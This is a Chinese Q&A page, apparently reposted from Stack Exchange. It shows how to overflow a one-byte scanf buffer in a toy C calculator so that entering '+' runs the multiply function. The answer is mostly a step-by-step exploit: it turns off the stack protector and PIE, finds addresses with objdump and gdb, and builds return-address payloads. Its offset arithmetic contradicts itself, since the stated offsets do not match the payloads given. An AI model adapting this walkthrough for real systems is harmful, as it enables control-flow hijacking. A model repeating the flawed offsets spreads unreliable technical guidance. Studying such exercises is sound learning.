You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何通过缓冲区溢出使输入+的C程序执行乘法函数?

缓冲区溢出利用:输入+时执行mal函数而非add函数

目标代码

#include <stdio.h>

int num1;
int num2;
int res;

static int add(void) {
    res = num1 + num2;
    printf("\nAnswer: %u", res);
}

static int sub(void) {
    res = num1 - num2;
    printf("\nAnswer: %u", res);
}

static int mal(void) {
    res = num1 * num2;
    printf("\nAnswer: %u", res);
}

static int div(void) {
    res = num1 / num2;
    printf("\nAnswer: %u", res);
}

void do_operator() {

    char op[1];

    printf("Enter an operator (+, -, *, /):");
    scanf("%s", &op);

    if (*op == '+')
    {
        add();
    }
    else if (*op == '*')
    {
        mal();
    }
    else if (*op == '-')
    {
        sub();
    }
    else if (*op == '/')
    {
        div();
    }
    else
    {
        printf("\nNo valid input: %s", op);
    }
}

int main() {
    printf("\nEnter number-1:");
    scanf("%u", &num1);
    
    printf("\nEnter number-2:");
    scanf("%u", &num2);
    
    do_operator();
    return 0;
}

问题

本人是缓冲区溢出漏洞利用新手,尝试对上述代码实施溢出利用:输入加法运算符+时,让程序执行乘法函数mal而非加法函数add,但多次尝试均未成功,求技术解决方案。


解决方案

1. 关闭编译保护机制

现代编译器和系统默认开启安全防护,必须先关闭才能稳定复现溢出:

gcc -fno-stack-protector -no-pie -o calc calc.c
  • -fno-stack-protector:关闭栈金丝雀检测,避免溢出被拦截
  • -no-pie:关闭地址随机化,让函数内存地址固定不变

2. 获取目标函数地址

用反汇编工具提取mal函数的内存地址:

objdump -d calc | grep '<mal>'

输出示例(32位系统):

08041186 <mal>:

这里mal的地址是0x08041186,后续需要按小端序(低字节在前)写入栈中。

3. 计算栈偏移量

需要确定从op缓冲区到do_operator函数返回地址的字节数,用gdb调试:

  1. 启动调试:gdb calc
  2. 断点设在do_operator函数:b do_operator
  3. 运行程序:r,输入两个测试数字(如1和2)
  4. 程序停在断点后,查看栈布局:
    • 32位:x/20x $esp
    • 64位:x/20x $rsp
  5. 输入AAAA后继续执行:c,程序崩溃后查看EIP(32位)或RIP(64位)的值
  6. 计算偏移:如果EIP变为0x41414141,说明第5-8个字符(32位4字节)覆盖了返回地址,即偏移量为1(+字符) + 4(填充到EBP)=5;64位下偏移量为1(+字符) +8(填充到RBP)=9。

4. 构造溢出Payload

Payload格式:+ + 填充字符 + mal函数地址(小端序)

  • 32位示例(偏移量5,mal地址0x08041186):
    +AAA\x86\x11\x04\x08
    
    解释:+占1字节,3个A填充到EBP,最后4字节是小端序的mal地址
  • 64位示例(偏移量9,mal地址0x401186):
    +AAAAAAA\x86\x11\x40\x00\x00\x00\x00\x00
    
    解释:+占1字节,7个A填充到RBP,最后8字节是小端序的mal地址

5. 验证利用

运行编译后的程序,输入两个数字后直接输入构造好的Payload,程序会执行mal函数输出乘积,而非add的和。


内容的提问来源于stack exchange,提问作者Mr.Deadpool

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.03 13:20:33